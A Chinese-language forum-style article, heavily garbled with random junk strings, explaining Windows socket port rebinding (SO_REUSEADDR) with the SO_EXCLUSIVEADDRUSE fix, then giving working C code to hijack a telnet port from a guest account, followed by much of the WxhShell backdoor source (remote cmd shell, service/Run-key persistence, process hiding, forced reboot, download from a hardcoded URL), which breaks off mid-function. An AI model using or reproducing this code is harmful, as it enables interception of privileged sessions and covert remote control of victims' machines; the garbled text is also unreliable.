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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 877>=Tp| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n8zh;vuJ $4V ~hI4 saddr.sin_family = AF_INET; &Jj^)GBU C!SB5G>OH saddr.sin_addr.s_addr = htonl(INADDR_ANY); /q%TjQ}F _Y*:
l7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _Gy*" ;E x3L3K/qMg 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
3\FiQ/? XcA4EBRj
这意味着什么?意味着可以进行如下的攻击: E'LkoyI l}X3uyS 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O{rgZ/4Au Rww"Z=F 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kImGSIJ {M]m cRB( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l\5}\9yS 8zz-jkR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 0Bn$C,- _OT kv6;4n 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =,I,K=+_x =5_8f 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C+}uH:I'L dL")E|\\k 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KoQvC=+WI rQK2&37-,@ #include tiwhG%?2 #include _y`'T;~OY #include C,-V>bx g #include `c{i+ DWORD WINAPI ClientThread(LPVOID lpParam); jHB,r^:' int main() bdqo2ZO { p`{9kH1m e WORD wVersionRequested; NS=puo DWORD ret; $$\| 3rj! WSADATA wsaData; }mz4 3Sq< BOOL val; xYRL4 SOCKADDR_IN saddr; #(CI/7
- SOCKADDR_IN scaddr; +(r8SnRX int err; %Q}#x SOCKET s; &cDnZ3Q; SOCKET sc; qX:54$t int caddsize; LPT5d 7K@ HANDLE mt; HI']{2p2}t DWORD tid; _}`iLA!$I wVersionRequested = MAKEWORD( 2, 2 ); M&@9B)|= err = WSAStartup( wVersionRequested, &wsaData ); Abce]-E if ( err != 0 ) { WJe printf("error!WSAStartup failed!\n"); 34]f[jJ| return -1; ZWmmFKFG. } n7X3aoVV saddr.sin_family = AF_INET; ?mRU9VY 'fcJ]%-= //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Pp3tEZfE :!3CoC.X|c saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i/oaKpPN saddr.sin_port = htons(23); S! ,.#e (Y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u-j$4\' { _V6;`{$WK printf("error!socket failed!\n"); }RG return -1; |,t#Au}61 } YG?W8)T val = TRUE; 3j<]
W //SO_REUSEADDR选项就是可以实现端口重绑定的 u;~/B[ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _l}&|: { ^"l>;.w printf("error!setsockopt failed!\n"); wp.<}=|u return -1; ;% !'K~ } nd_d tsp# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; GRO[&;d` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OMO.-p //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q?7UiTZ SMqJMirR if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3boINmX { @?G.6r~ ret=GetLastError(); +UHf&i/3 printf("error!bind failed!\n"); D19uI&U4 return -1;
5 ah]E } ~+QfP:G listen(s,2); '(&.[Pk:" while(1) 6BLw 4m=h { v~ZdMQvwt caddsize = sizeof(scaddr); QF'N8Kla //接受连接请求 Bz9!a k~4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8_8R$=V if(sc!=INVALID_SOCKET) *8,]fBUq { MBXumc_g mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); o}7`SYn if(mt==NULL) {Z1j>h$ { y!mjZR,& printf("Thread Creat Failed!\n"); JQi)6A?J break; gG~UsA } gI'4g ZH } !m'lOz CloseHandle(mt); 9'\18_w } )g9Zw_3 closesocket(s); { >bw:^F WSACleanup(); FJp~8
x= return 0; d*3k]Ie%5f } 3iR;(l} DWORD WINAPI ClientThread(LPVOID lpParam) \;.\g6zX { rrwBsa3 SOCKET ss = (SOCKET)lpParam; t]2~aK<] SOCKET sc; 4}!riWR unsigned char buf[4096]; tO)mKN+
( SOCKADDR_IN saddr; qOV#$dkY long num; ;l7wme8Qk DWORD val; *(PGLYK DWORD ret; 37 T<LU //如果是隐藏端口应用的话,可以在此处加一些判断 go@UE2qw //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ' n#;~ saddr.sin_family = AF_INET; 1<\@i{;xsU saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); liA)|.H saddr.sin_port = htons(23); SQ1.jcWW[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k/u6Cw0/ { tTLD6# printf("error!socket failed!\n"); ;Bat!K7W return -1; C*,-lk0b@ } tUDOL-Tv val = 100; Og Y4J|< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1*Yf[;L { :0Rd )*k,v ret = GetLastError(); 8G6PcTqv" return -1; ?76Wg:: } g>1yQ
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M-e!F+d{od { ^}8(o ret = GetLastError(); gah3d*d7 return -1; 8T):b2h } F@& R"- if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sbjAZzrX2i { (/a2#iW printf("error!socket connect failed!\n"); <IC=x(T closesocket(sc); S1E=E5 closesocket(ss); SsIy ;l return -1; 1y2D]h /' } J{
P<^<m_ while(1) k?;A#L~ { C\ZL*,%} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j\B]>PP5 //如果是嗅探内容的话,可以再此处进行内容分析和记录 }/nbv;) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `TYQ^Zm num = recv(ss,buf,4096,0); .0:BgM if(num>0) rjo/-910 send(sc,buf,num,0); D^baXp8 else if(num==0) J}c57$Z break; wZJpSkcEx num = recv(sc,buf,4096,0); yM}}mypS if(num>0) #g#vDR! send(ss,buf,num,0); WS/^WxRY else if(num==0) *p`0dvXG2 break; /`Yy(?, } 5Q#;4 closesocket(ss); Kfa7}f_ closesocket(sc); IL 'i7p return 0 ; y>Zvos e } `KqMcAW MUhC6s\F :3^b>(W. ========================================================== Y9Q-<~\z %6+J]U 下边附上一个代码,,WXhSHELL orVsMT[A b'Pq[ ) ========================================================== ?&I gD. Q&]
}`Rp= #include "stdafx.h" M#LQz~E O$k;p<?M #include <stdio.h> A{iI,IFe #include <string.h> +0rMv #include <windows.h> T]Gxf"mK #include <winsock2.h> C)~YWx@v #include <winsvc.h> XKp.]c wP #include <urlmon.h> O#
.^} ^m;dEe&@F #pragma comment (lib, "Ws2_32.lib") )IPnSh/< #pragma comment (lib, "urlmon.lib") bj\v0NKN4 q>/#
P5V #define MAX_USER 100 // 最大客户端连接数 1 mhX3 #define BUF_SOCK 200 // sock buffer ' @>FtF[Gu #define KEY_BUFF 255 // 输入 buffer ]wh8m1 I<e[/#5P\` #define REBOOT 0 // 重启 fu?5gzT+b #define SHUTDOWN 1 // 关机 nF~</> /+l3
BeL
#define DEF_PORT 5000 // 监听端口 /%EKq+ZP *vc=>AEc #define REG_LEN 16 // 注册表键长度 3G9"La,b
#define SVC_LEN 80 // NT服务名长度 |7,|-s[R^ no- Lx-x // 从dll定义API iDt^4=` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xT70Rp(2po typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S8*VjG?T\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W7>4-gk typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #/$}zl 06"p^# // wxhshell配置信息 xx0s`5 struct WSCFG { &,4]XT int ws_port; // 监听端口 lE:X~RO"~ char ws_passstr[REG_LEN]; // 口令 ";E Mu(IXb int ws_autoins; // 安装标记, 1=yes 0=no J\<7M8
char ws_regname[REG_LEN]; // 注册表键名 |={><0 char ws_svcname[REG_LEN]; // 服务名 /%C6e
)7BL char ws_svcdisp[SVC_LEN]; // 服务显示名 _+g5;S5 char ws_svcdesc[SVC_LEN]; // 服务描述信息 "'h?O*V]u{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $gT+Ue|7 int ws_downexe; // 下载执行标记, 1=yes 0=no :-ZE~bHJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" p.^mOkpt char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z"*X/T UZ0fw@R M }; IG0$OtG :VP4|H#SP // default Wxhshell configuration nkTH#WTfR struct WSCFG wscfg={DEF_PORT, -NtT@ +AE "xuhuanlingzhe", _5%SYxF*y 1, jK/2n}q&] "Wxhshell", ^0"NcOzzxl "Wxhshell", e`zEsLs@ "WxhShell Service", ((^jyQ "Wrsky Windows CmdShell Service", 4[a?..X "Please Input Your Password: ", .Gq.s t% 1, 0l3v>ty " http://www.wrsky.com/wxhshell.exe", 9;2PoW8 "Wxhshell.exe" vl*CU"4 }; WXu:mv,'e eT1b88_ // 消息定义模块 *vv<@+gA char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aSd$;t~ char *msg_ws_prompt="\n\r? for help\n\r#>"; 1MHP#X;| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; KY
H*5 char *msg_ws_ext="\n\rExit."; X).UvPZ/ char *msg_ws_end="\n\rQuit."; v'Ce|.; char *msg_ws_boot="\n\rReboot..."; 8v@6 &ras@ char *msg_ws_poff="\n\rShutdown..."; F>jPr8& char *msg_ws_down="\n\rSave to "; Be}e%Rk n={}=' char *msg_ws_err="\n\rErr!"; tagkklJ~ char *msg_ws_ok="\n\rOK!"; t+Kxww58 <HM\ZDo@P char ExeFile[MAX_PATH]; +jYO?uaT int nUser = 0; 8^M5k%P HANDLE handles[MAX_USER]; =BQM(mal int OsIsNt; (A O]f fBU r_p9YS@I SERVICE_STATUS serviceStatus; r9z_8#cR SERVICE_STATUS_HANDLE hServiceStatusHandle; 6~zR(HzV{ }HtP8F8!x // 函数声明 w{k8Y? int Install(void); N
?Jr8 int Uninstall(void); Yao>F--? int DownloadFile(char *sURL, SOCKET wsh); j*f%<`2`j int Boot(int flag); *%1:="W*| void HideProc(void); IF~i* int GetOsVer(void); j}XTa[ int Wxhshell(SOCKET wsl); O$u;]cg void TalkWithClient(void *cs); 4r#O._Z int CmdShell(SOCKET sock); ~r;da 9 int StartFromService(void); rt$zM int StartWxhshell(LPSTR lpCmdLine); pq_DYG] mN+~fuh VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j[NA3Vj1P VOID WINAPI NTServiceHandler( DWORD fdwControl ); {Uxah +#8?y
5~q // 数据结构和表定义 QwXM<qG* SERVICE_TABLE_ENTRY DispatchTable[] = !+Z"7e
nj { ^-{ 1]G: {wscfg.ws_svcname, NTServiceMain}, *}R5=r0 {NULL, NULL} ^4(CO[|c~ }; @+~=h{jv< u^a\02aV[ // 自我安装 >SpXB:wx int Install(void) xn)FE4 { q88p~Ccoa char svExeFile[MAX_PATH]; h`+Gs{1qw HKEY key; IrQ8t! strcpy(svExeFile,ExeFile); Pd!;z=I
F7a &- // 如果是win9x系统,修改注册表设为自启动 b7R#tT if(!OsIsNt) { NHA
2 i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fHvQ 9*T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f/Km$#xOr RegCloseKey(key); jENarB^As if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^ L'8: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2!>phE RegCloseKey(key); lz\{ X return 0; 5&7)hMppI } 3~6F`G } ;=: R| } *E0+! else { hRb
k-b x={t}qDS8 // 如果是NT以上系统,安装为系统服务 /-z_"G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !_E E|#`n if (schSCManager!=0) EA7]o.Nm*{ { 1~8F& SC_HANDLE schService = CreateService z ( _/ j44q schSCManager, 5Zs"CDU wscfg.ws_svcname, //@_`. wscfg.ws_svcdisp, S#0y\ SERVICE_ALL_ACCESS, ,]Yjo>`tW SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Djx9TBZ5 SERVICE_AUTO_START, RBr SERVICE_ERROR_NORMAL, %_u*5,w svExeFile, p9R`hgx NULL, WhE5u&` NULL, ;Fcdjy NULL, 9bgKu6-X NULL, \sHM[nF0 NULL deaxb8'7 ); ;nLQ?eS\ if (schService!=0) 9UOx~Ty { FePJ8 CloseServiceHandle(schService); qA9*t CloseServiceHandle(schSCManager); <9-tA\`8N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V)R-w` strcat(svExeFile,wscfg.ws_svcname); hw_7N)} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
&N0W! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M<7<L RegCloseKey(key); W#e:r z8= return 0; n$y1k D } T7m rOp } 5yp~PhHf CloseServiceHandle(schSCManager); ;5my(J*b } E1 *\)q } *[
Wh9 ,H $f>WR_F return 1; [HF)d#A } j='Ne5X1
_+|* // 自我卸载 fouy?? int Uninstall(void) '7>Vmr6 { 8(KsU,%d HKEY key; jR@-h"2*A 'BAe>r_Pn if(!OsIsNt) { po=*%Zs*T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >~BU<# RegDeleteValue(key,wscfg.ws_regname); F
xFK RegCloseKey(key); K!|=)G3.` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p: sn>Y RegDeleteValue(key,wscfg.ws_regname); ;oh88,*' RegCloseKey(key); Q
C~~ return 0; @pytHN8( $ } LU?#{dZ } CvQ LF9| } HLYM(Pz else { =Z#tZ{" ~l6e&J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,wO5IaV if (schSCManager!=0) SKLQAE5 { Y141Twjvd SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 54uTu2 if (schService!=0) J)(]cW. { b${Kj3( if(DeleteService(schService)!=0) { H _3gVrP_ CloseServiceHandle(schService); "j$}'uK< CloseServiceHandle(schSCManager); }'H Da M return 0; MM'<uy } cR@z^ CloseServiceHandle(schService); W:rzfO.`Z } F,:F9r?l,H CloseServiceHandle(schSCManager); G>:l(PW: } {B\.8)&8 } MIR17%G Q&QR{?PMD return 1; WM@uxe, } <wE2ly&x Jr''S}@|x // 从指定url下载文件 "A/kL@ -C int DownloadFile(char *sURL, SOCKET wsh) ,R^Pk6m> { ,{oP`4\Lm HRESULT hr; W_sDF; JP char seps[]= "/"; )@K|Co char *token; Z@I%ppd char *file; 40g&zU- char myURL[MAX_PATH]; -w@fd]g char myFILE[MAX_PATH]; [MiD%FfcNH ]/$tt@h strcpy(myURL,sURL); aY {. token=strtok(myURL,seps); xE6y9"}!h while(token!=NULL) Fa/i./V2 { wfZ'T#1 file=token; )bK<t token=strtok(NULL,seps); Sl$dXB@ } pp{); uWfse19 GetCurrentDirectory(MAX_PATH,myFILE); U|
N`X54 strcat(myFILE, "\\"); 6B+
@76w H strcat(myFILE, file); -%t0'cKn, send(wsh,myFILE,strlen(myFILE),0); !Uj !Oy send(wsh,"...",3,0); V_
]4UE hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5#d(_ if(hr==S_OK) hh8UKEM- return 0; huq6rA/i else ($cu!$lY~ return 1; S`6'~g u!@P,,NY } `r]Cd
{G w}(xs)`num // 系统电源模块 6*LU+U=` int Boot(int flag)
#!hpe^t { Maxnk3n HANDLE hToken; !^LvNW\| TOKEN_PRIVILEGES tkp; Y3Qq'FN!I 3]
@<. if(OsIsNt) { +}Q4 g]M8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BF_k~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /f6]XP\'`+ tkp.PrivilegeCount = 1; Zq`bd55~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,v6Jr3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nQP0<_S if(flag==REBOOT) { ag+ML1#) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -e)bq:T return 0; nRo`O } (la else { txgGL' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DRzpV6s return 0; CTI(Kh+ }
K8+b\k4E } ^y3\e else { #k"[TCQ> if(flag==REBOOT) { (
ou:"Y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sXydMk`J return 0; Bdg*XfXXk } M84LbgGM% else { 2h:f6=)r/u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) woT" 9_tN return 0; 3@&H)fdp6a } q#778 } pvM8PlYo]` 000$ZsW? return 1; y,r`8 } ,,Db:4qfjD U'lD|R,g // win9x进程隐藏模块 ,yqzk. void HideProc(void) 0F3>kp4u { g SwG=e\ QbNv+Eu5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jQr~@15J# if ( hKernel != NULL ) $XI<s$P%(% { PRLV1o1# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .{;!bw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n=SZ8Rj7 FreeLibrary(hKernel); c%U$qao=c+ } ."^dJ |fN YH[_0!JY^ return; EUn"x'
} \|pAn xWwPrd // 获取操作系统版本 &59#$LyH`% int GetOsVer(void) 'H'+6 { h@~X*yLKh OSVERSIONINFO winfo; iR_Syk`G*A winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y-Ku2m GetVersionEx(&winfo); _l,Z38 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '; dW'Uwc return 1; E5t+;vL~ else 1;xw)65 return 0; =5/;h+bk+3 } PHK#b.B>a8 *0hiPj: // 客户端句柄模块 (XwLKkw0n int Wxhshell(SOCKET wsl) pzax~Vp { CU;nrd " SOCKET wsh; mc+wRx struct sockaddr_in client; M$W#Q\<*#r DWORD myID; w.Vynb L@_">'pR while(nUser<MAX_USER) &+j^{a { j'i42-Lt/p int nSize=sizeof(client); *D{/p/|[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tN{t-xUgk if(wsh==INVALID_SOCKET) return 1; @NNLzqqY f0`'
i[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U>+~.|'V9 if(handles[nUser]==0) 4ufLP DH closesocket(wsh); pG( knu else WDGGT.h G nUser++; f>5RAg } G; [AQ:Iy WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IPVzV\o |3,V%>z return 0; |3s&Y`x-D } k4$q|x7+% J=X%
xb // 关闭 socket <VU4rk^= void CloseIt(SOCKET wsh) y,&M\3A { hcgc
=$^ closesocket(wsh); o1WidJ" nUser--; yOK])&c ExitThread(0); SO<m(o)G2 } 0Ad~!Y+1 GeaDaYh#T // 客户端请求句柄 K~8tN,~& void TalkWithClient(void *cs) DjzUH{6O { '98h<(@] z>33O5U SOCKET wsh=(SOCKET)cs; &fSc{/ char pwd[SVC_LEN]; 6eT'[Umx char cmd[KEY_BUFF]; !1'-'Q@f char chr[1]; &U~r}= int i,j; a9Fm Y` iEviH>b5 while (nUser < MAX_USER) { jN%p5nZ^EK 7vaN&%;E% if(wscfg.ws_passstr) { NceB'YG| if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t/*K#]26 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7+a%ehwU //ZeroMemory(pwd,KEY_BUFF); {*
j^g6; i=0; "Wk{ 4gS7l while(i<SVC_LEN) { r^A#[-VyNP *fl{Y(_OO // 设置超时 BO4 K#H7 fd_set FdRead; zg7l>9Sc struct timeval TimeOut; N
2"3~ # FD_ZERO(&FdRead); l}0V+ FD_SET(wsh,&FdRead); 2]} Uov TimeOut.tv_sec=8; +&7Kk9^ TimeOut.tv_usec=0; ,=Nw(GI int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F[CT l3X if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k9)u3 v]T(zL| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5Y Q pwd =chr[0]; 1_NG+H]x9 if(chr[0]==0xd || chr[0]==0xa) { lP* pwd=0;
f5aF6FBH break; 6%kJDY. } *1W,Mzg i++; 8b(1ut{ } ;}WtJ&y=M adI!W-/R: // 如果是非法用户,关闭 socket ~zxwg+:QO if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (]Ye[j^"7 } o8'Mks qB F!b0lr send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b6nZ55 h send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R3j#WgltP b0YiQjS6> while(1) { .%?-As -XVEV ZeroMemory(cmd,KEY_BUFF); !ww:O| 0 j /H>0^ // 自动支持客户端 telnet标准 c6,s+^^ j=0; l
Io9,Ke while(j<KEY_BUFF) { hza> jR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9q1HSJ1) cmd[j]=chr[0]; oWp}O? if(chr[0]==0xa || chr[0]==0xd) { f v E+.{ cmd[j]=0; 2.LJp}> break; #2PrGz]
} :8^M5} j++; Qj(vBo?D } v/R[?H) 9-
xlvU,o // 下载文件 ietRr!$. if(strstr(cmd,"http://")) { AH2_#\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); *jM_ wwG if(DownloadFile(cmd,wsh)) `DLp<_z>
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
qH#r- else ?a5h iN0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H2qf' } iHAU|`'N) else { iq"ob8. PiMKu|,3 switch(cmd[0]) { /&PKCtm&~ T'ED$}N>~ // 帮助 0xJ7M. case '?': { /?KtXV>] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;V_.[aX break; B_{HkQ.PW } sm 's-gD // 安装 G2.|fp_}pG case 'i': { +|y*}bG if(Install()) >Z+"`"^o} send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q
[rj else i2){xg~c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M.>^{n$
z break; 0b/ir 2 } *cbeyB{E // 卸载 e`i7ah; case 'r': { 5Sr4-F+@% if(Uninstall()) V0K16#}1gM send(wsh,msg_ws_err,strlen(msg_ws_err),0); !z11"
c else j-7u>s-l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XJqTmj3
break; >+cSPN'i> } `79[+0hL' // 显示 wxhshell 所在路径 00ofHZ case 'p': { <W>++< - char svExeFile[MAX_PATH]; qG<7hr@x] strcpy(svExeFile,"\n\r"); TG}d3ZU
! strcat(svExeFile,ExeFile); %$@1FlqX; send(wsh,svExeFile,strlen(svExeFile),0); .%=V">R break; qnB<k,8T } N]NF\7( // 重启 NXpmT4 case 'b': { ~+yZfOcw send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `@[l\.Vt: if(Boot(REBOOT)) ]r4bRK[1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); qO-9
x0v# else { X) V7bVW closesocket(wsh); [4sEVu} ExitThread(0); +`@M*kd } 4({(i break; Ck\7F?S } kb71q:[ // 关机 ,7W:fwdR case 'd': { A{# Nwd> send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C|MQ
$~5:w if(Boot(SHUTDOWN)) f`jc#f5+' send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^W~p..DF else { (hIF]>,kl closesocket(wsh); y<pnp?x4 ExitThread(0); tF*szf|$- } j9d!yW break; *O,H5lwU } {:Aw_z:' // 获取shell ;}qhc l+ case 's': { `lO(s%HC CmdShell(wsh); =<c#owe:m closesocket(wsh); y}FZD?" ExitThread(0); )KE[!ofD break; |?d#eQ9a } #sTEQjJ,J // 退出 5c5oSy+ case 'x': { 9T7e\<8"vC send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mMSh2B CloseIt(wsh); R x7X_A} break; OoBCY-gj* } 6sJw@OaJ // 离开 Fk"Ee&H)( case 'q': { k1^\| send(wsh,msg_ws_end,strlen(msg_ws_end),0); +-<}+8G; closesocket(wsh); >5hhd38 WSACleanup(); (@r
`$5D.b exit(1); iCj2"T4TN break; r@U3sO#N } %c|UmKKi } b0v:12q } 3*ixlO:qGk 26 I // 提示信息
foRD{Hx if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oR .cSGh } b| M3` } J-xS:Ha'l c$:1:B9\ return; t23'x0l } +JRF0T 6"/WZmOp // shell模块句柄 9Fo fr int CmdShell(SOCKET sock) gU&%J4O { G7GZDi STARTUPINFO si; \f:z+F!6R ZeroMemory(&si,sizeof(si)); 7ZxaPkIu&% si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; urBc=3Rz si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
YZc>dE PROCESS_INFORMATION ProcessInfo; Yd
EptAI char cmdline[]="cmd"; 8uNULob CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Jzkq)]M return 0; ;5_{MCPM } m)v''`9LU "_|oW n // 自身启动模式 j.e0;!
(L} int StartFromService(void) #KxbM-1= { L<^j"!0 typedef struct );V2?G`/ { ]rehW} DWORD ExitStatus; \u,}vppz DWORD PebBaseAddress; fKH7xu!V4+ DWORD AffinityMask; 1MlUG5 DWORD BasePriority; !RB)_7 ULONG UniqueProcessId; <"N_j]wD ULONG InheritedFromUniqueProcessId; sm,VYYs } PROCESS_BASIC_INFORMATION; O.aG[wm8 cH'
